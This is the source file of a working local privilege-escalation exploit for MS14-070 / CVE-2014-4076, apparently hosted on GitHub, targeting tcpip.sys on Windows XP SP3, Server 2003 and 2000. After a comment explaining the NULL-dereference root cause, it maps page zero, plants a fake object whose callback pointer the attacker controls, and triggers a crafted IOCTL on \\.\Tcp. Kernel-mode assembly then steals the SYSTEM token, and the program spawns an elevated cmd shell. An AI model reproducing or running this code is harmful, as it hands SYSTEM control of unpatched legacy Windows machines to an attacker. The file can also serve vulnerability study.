-
Notifications
You must be signed in to change notification settings - Fork 18
/
MS14-070.c
335 lines (290 loc) · 8.92 KB
/
MS14-070.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
//
// An exploit for the MS14-070 / CVE-2014-4076 (KB2989935), written by dev_zzo.
// Partially based on the original PoC [0] released by KoreLogic.
//
// Affected systems:
// + Windows Server 2003 R2 SP2 (x86, x64?)
// + Windows XP SP3 (x86, x64?)
//
// What is the root cause of the vulnerability?
//
// It is caused due to a NULL pointer dereference within the tcpip!SetAddrOptions()
// function. The NULL pointer comes from an internal object, it is not known
// how/when it can be altered to prevent exploitation.
//
// The function can be reached via IOCTL 0x00120028U called on \\.\Tcp file object.
// The IOCTL apparently requests an option to be set.
//
// The IOCTL accepts an input buffer of minimum 0x18 bytes, with certain values
// required to reach the flawed code path and others having arbitrary values;
// see code below. No value influences the follow-up exploitation.
//
// The internal object contains what appears to be a flag field at offset +0x28.
// Setting it to 0x38FFFF87U (provided by KoreLogic) allows for code execution.
// The SetAddrOptions() function invokes another function named ProcessAORequests()
// passing it the same internal object. The ProcessAORequests() function enters a loop
// checking the flags against mask 0x00060007U. Another check within loop
// verifies bit mask 0x00000004. If this is satisfied, the pointer at +0x10 is
// checked, if it is different from the address of itself (apparently, a single-linked
// loop list). If so, a list element is extracted. Then, a pointer at +0xEC is fetched
// and subsequently called. The pointer value is controlled by the attacker.
//
// References:
// [0] https://www.korelogic.com/Resources/Advisories/KL-001-2015-001.txt
// [1] https://technet.microsoft.com/en-us/library/security/ms14-070.aspx
//
#include <Windows.h>
#pragma comment(linker, "/entry:__mainCRTStartup")
#pragma comment(linker, "/subsystem:console")
#pragma comment(lib, "kernel32")
#define NTVER(maj, min, csd) ((maj << 24) | (min << 16) | (csd << 8))
// Windows 2000 SP4 UR1
//#define NTOS_TARGET_VER NTVER(5,0,4)
// Windows XP SP3
//#define NTOS_TARGET_VER NTVER(5,1,3)
// Windows Server 2003 R2 SP2
//#define NTOS_TARGET_VER NTVER(5,2,2)
typedef NTSYSAPI NTSTATUS (NTAPI *PNTALLOCATEVIRTUALMEMORY)(
HANDLE ProcessHandle,
PVOID *BaseAddress,
ULONG_PTR ZeroBits,
PSIZE_T RegionSize,
ULONG AllocationType,
ULONG Protect);
static PNTALLOCATEVIRTUALMEMORY NtAllocateVirtualMemory;
//
// Scrap CRT...
//
#pragma function(memset)
void *memset(void *ptr, int v, size_t num)
{
char *p = (char *)ptr;
while (num--)
*p++ = 0;
return ptr;
}
static size_t __strlen(const char *s)
{
const char *p = s;
while (*p) ++p;
return p - s;
}
typedef int (__cdecl *pvsprintf)(char *buffer, const char *format, va_list argptr);
static pvsprintf vsprintf;
static void __puts(const char *text)
{
DWORD charsWritten;
WriteConsoleA(GetStdHandle(STD_OUTPUT_HANDLE), text, __strlen(text), &charsWritten, NULL);
}
static int __printf(const char *fmt, ...)
{
char buffer[1024];
int length;
DWORD charsWritten;
va_list args;
va_start(args, fmt);
length = vsprintf(buffer, fmt, args);
WriteConsoleA(GetStdHandle(STD_OUTPUT_HANDLE), buffer, length, &charsWritten, NULL);
va_end(args);
return length;
}
static void GrabNtdllRoutines(void)
{
HMODULE hNtdll;
hNtdll = GetModuleHandleA("ntdll.dll");
vsprintf = (pvsprintf)GetProcAddress(hNtdll, "vsprintf");
NtAllocateVirtualMemory = (PNTALLOCATEVIRTUALMEMORY)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
}
static NTSTATUS MapPageZero(SIZE_T Size)
{
PVOID BaseAddress = (PVOID)1;
return NtAllocateVirtualMemory((PVOID)-1, &BaseAddress, 0, &Size, MEM_RESERVE|MEM_COMMIT|MEM_TOP_DOWN, PAGE_EXECUTE_READWRITE);
}
// This is the object dereferenced with NULL
#if (NTOS_TARGET_VER == NTVER(5,0,4))
typedef struct {
/*0000*/BYTE __fog1[0x08];
/*0008*/DWORD Zero1; // RBZ
/*000C*/PVOID Ptr1;
/*0010*/PVOID Ptr2;
/*0014*/BYTE __fog2[0x10];
/*0024*/DWORD Flags;
/*0028*/BYTE __fog3[0xC];
/*0034*/WORD Zero2; // RBZ
/*0036*/BYTE __fog4[0xB2];
/*00E8*/PVOID CallbackPtr;
} OBJECT, *POBJECT;
#define SYSTEM_PID 8
#define OFFSET_KPCR_KTHREAD 0x124
#define OFFSET_KTHREAD_KPROCESS 0x44
#define OFFSET_EPROCESS_UNIQUEPID 0x9C
#define OFFSET_EPROCESS_APLINKS 0xA0
#define OFFSET_EPROCESS_TOKEN 0x12C
#elif (NTOS_TARGET_VER == NTVER(5,1,3))
typedef struct {
/*0000*/BYTE __fog1[0x08];
/*0008*/DWORD Zero1; // RBZ
/*000C*/PVOID Ptr1;
/*0010*/PVOID Ptr2;
/*0014*/BYTE __fog2[0x10];
/*0024*/DWORD Flags;
/*0028*/BYTE __fog3[0xC];
/*0034*/WORD Zero2; // RBZ
/*0036*/BYTE __fog4[0xB2];
/*00E8*/PVOID CallbackPtr;
} OBJECT, *POBJECT;
#define SYSTEM_PID 4
#define OFFSET_KPCR_KTHREAD 0x124
#define OFFSET_KTHREAD_KPROCESS 0x44
#define OFFSET_EPROCESS_UNIQUEPID 0x84
#define OFFSET_EPROCESS_APLINKS 0x88
#define OFFSET_EPROCESS_TOKEN 0xC8
#elif (NTOS_TARGET_VER == NTVER(5,2,2))
typedef struct {
/*0000*/BYTE __fog1[0x0C];
/*000C*/DWORD Zero1; // RBZ
/*0010*/PVOID Ptr1;
/*0014*/PVOID Ptr2;
/*0018*/BYTE __fog2[0x10];
/*0028*/DWORD Flags;
/*002C*/BYTE __fog3[0xC];
/*0038*/WORD Zero2; // RBZ
/*003A*/BYTE __fog4[0xB2];
/*00EC*/PVOID CallbackPtr;
} OBJECT, *POBJECT;
#define SYSTEM_PID 4
#define OFFSET_KPCR_KTHREAD 0x124
#define OFFSET_KTHREAD_KPROCESS 0x128
#define OFFSET_EPROCESS_UNIQUEPID 0x94
#define OFFSET_EPROCESS_APLINKS 0x98
#define OFFSET_EPROCESS_TOKEN 0xD8
#else
#error Please define NTOS_TARGET_VER.
#endif
static void TokenStealer(void)
{
__asm {
mov eax, fs:[OFFSET_KPCR_KTHREAD]
mov eax, [eax + OFFSET_KTHREAD_KPROCESS]
push eax
aplinks_loop:
mov eax, [eax + OFFSET_EPROCESS_APLINKS]
lea eax, [eax - OFFSET_EPROCESS_APLINKS]
cmp dword ptr [eax + OFFSET_EPROCESS_UNIQUEPID], SYSTEM_PID
jne aplinks_loop
mov eax, [eax + OFFSET_EPROCESS_TOKEN]
pop edx
mov [edx + OFFSET_EPROCESS_TOKEN], eax
}
}
static int PayloadExecuted = 0;
static void __stdcall Callback(POBJECT Obj, void *b)
{
/* Executed in kernel mode */
PayloadExecuted = 1;
Obj->Flags &= ~0x00060007;
TokenStealer();
return;
}
static int SpawnCmd(void)
{
STARTUPINFOA StartInfo;
PROCESS_INFORMATION ProcInfo;
BOOL Success;
memset(&StartInfo, 0, sizeof(StartInfo));
StartInfo.cb = sizeof(StartInfo);
Success = CreateProcessA(
NULL,
"C:\\windows\\system32\\cmd.exe",
NULL,
NULL,
TRUE,
CREATE_NEW_CONSOLE,
NULL,
NULL,
&StartInfo,
&ProcInfo);
return Success;
}
static void Exploit(void)
{
HANDLE hTcp;
NTSTATUS Status;
BOOL Success;
DWORD IoctlInputBuffer[] = {
0x00000400, /* Checked in TdiSetInformationEx(), must be 0x400 or 0x401 */
0x00000000, /* Checked in TdiSetInformationEx(), must be 0 */
0x00000200, /* Checked in TdiSetInformationEx(), must be 0x200 */
0x00000200, /* Checked in TdiSetInformationEx(), must be 0x200 */
0x00000022, /* Option? */
0x00000004, /* Value length? */
0x00010000, /* Value data? */
};
POBJECT Obj = NULL;
GrabNtdllRoutines();
__puts("\n[.] Opening the device... ");
hTcp = CreateFileA(
"\\\\.\\Tcp",
0,
FILE_SHARE_WRITE|FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
0,
NULL);
if (hTcp == INVALID_HANDLE_VALUE) {
__printf("FAILED.\n[-] GetLastError() says: %p", GetLastError());
return;
}
__puts("OK.");
__puts("\n[.] Mapping page zero... ");
Status = MapPageZero(0x4000);
if (Status) {
__printf("FAILED.\n[-] NTSTATUS is: %p", Status);
return;
}
__puts("OK.");
Obj->Zero1 = 0;
Obj->Ptr1 = &Obj->Ptr2;
Obj->Ptr2 = &Obj->Ptr1;
Obj->Flags = 0x38FFFF87U;
Obj->Zero2 = 0;
Obj->CallbackPtr = &Callback;
__puts("\n[.] Invoking IOCTL... ");
Success = DeviceIoControl(
hTcp,
0x00120028U,
IoctlInputBuffer, /* lpInBuffer */
sizeof(IoctlInputBuffer), /* nInBufferSize */
NULL, /* lpOutBuffer */
0, /* nOutBufferSize */
NULL, /* lpBytesReturned */
NULL);
if (!Success) {
__printf("FAILED.\n[-] GetLastError() says: %p", GetLastError());
return;
}
__puts("OK.");
__puts("\n[.] Checking whether payload was actually executed... ");
if (!PayloadExecuted) {
__puts("NOPE.\n");
__puts("[-] Sorry about this. Please report to the exploit author.\n");
return;
}
__puts("YEP.");
__puts("\n[.] Spawning the CMD shell... ");
Success = SpawnCmd();
if (!Success) {
__printf("FAILED.\n[-] GetLastError() says: %p", GetLastError());
return;
}
__puts("OK.");
__puts("\n[+] Exploit successful.");
}
void __mainCRTStartup(void)
{
__puts("\nExploit for MS14-070 / CVE-2014-4076\n");
__puts("More at: https://github.com/dev-zzo/exploits-nt-privesc \n");
__puts("\n[!] Exploit starting...");
Exploit();
__puts("\n[+] XOXO, dev_zzo.\n");
}